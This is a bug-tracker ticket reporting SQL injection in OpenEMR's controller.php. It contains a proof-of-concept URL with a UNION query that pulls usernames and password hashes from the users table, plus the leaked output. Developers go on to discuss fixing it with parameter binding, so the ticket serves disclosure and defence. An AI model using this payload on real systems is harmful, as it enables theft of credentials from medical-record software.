#107 SQL Injection in controller.php

[Matthew Brown]

1. Controller.php allows you to union a query in a similar way to demographics
2. Browser to the link below to see the results in the source
http://localhost/openemr/controller.php?document&view&patient_id=1 UNION select username,password,0,0 from users where 1=1--

3. View the source of this page to see the user names and hashes embedded into a list:

<select name="issue_id"><option value='0'>-- Select Issue --</option>
<option value='admin' selected>1a1dc91c907325c69271ddf0c944bc72: 0 0</option>
<option value='Patient1' selected>0cc175b9c0f1b6a831c399e269772661: 0 0</option>
<option value='jllankfo' selected>098f6bcd4621d373cade4e832627b4f6: 0 0</option>
<option value='jllankfo2' selected>098f6bcd4621d373cade4e832627b4f6: 0 0</option>
<option value='jllankfo3' selected>098f6bcd4621d373cade4e832627b4f6: 0 0</option>
<option value='jllankfo4' selected>098f6bcd4621d373cade4e832627b4f6: 0 0</option>
<option value='testuser' selected>098f6bcd4621d373cade4e832627b4f6: 0 0</option>
<option value='Jerrod' selected>1a1dc91c907325c69271ddf0c944bc72: 0 0</option>
<option value='patient' selected>1a1dc91c907325c69271ddf0c944bc72: 0 0</option></select>

[Andrew Moore]

It seems like a reasonable way to prevent these types of attacks is to bind variables to SQL parameters. I don't see anywhere in the code base where that is done yet, though, so I can't follow a previously set best practice. Is there any interest in using the PDO objects, or pear's MDB2 class (with prepare() and execute() ), or another facility that lets us bind variables to parameters?

I can start patching immediately, but don't want to rely on an unwanted dependency.

-Andy

[Brady Miller]

hey,
I'd suggest moving this discussion to the forum, since not many developers read the tracker. Very glad to see somebody taking in interest in this stuff.
-brady